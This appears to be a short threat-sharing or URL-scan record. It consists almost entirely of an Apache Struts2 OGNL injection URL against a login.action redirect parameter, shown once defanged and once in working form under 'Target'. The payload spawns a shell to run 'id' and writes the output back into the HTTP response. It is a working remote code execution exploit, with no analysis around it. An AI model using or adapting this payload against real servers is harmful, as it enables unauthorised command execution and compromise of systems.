hxxp:///login[.]action?redirect[:]${%23a%3d(new%20java[.]lang[.]processbuilder(new%20java[.]lang[.]string[]{'sh','-c','id'}))[.]start(),%23b%3d%23a[.]getinputstream(),%23c%3dnew%20java[.]io[.]inputstreamreader(%23b),%23d%3dnew%20java[.]io[.]bufferedreader(%23c),%23e%3dnew%20char[50000],%23d[.]read(%23e),%23matt%3d%23context[.]get(%27com[.]opensymphony[.]xwork2[.]dispatcher[.]httpservletresponse%27),%23matt[.]getwriter()[.]println(%23e),%23matt[.]getwriter()[.]flush(),%23matt[.]getwriter()[.]close()}

Sharing

Target

http:///login.action?redirect:${%23a%3d(new%20java.lang.processbuilder(new%20java.lang.string[]{'sh','-c','id'})).start(),%23b%3d%23a.getinputstream(),%23c%3dnew%20java.io.inputstreamreader(%23b),%23d%3dnew%20java.io.bufferedreader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.httpservletresponse%27),%23matt.getwriter().println(%23e),%23matt.getwriter().flush(),%23matt.getwriter().close()}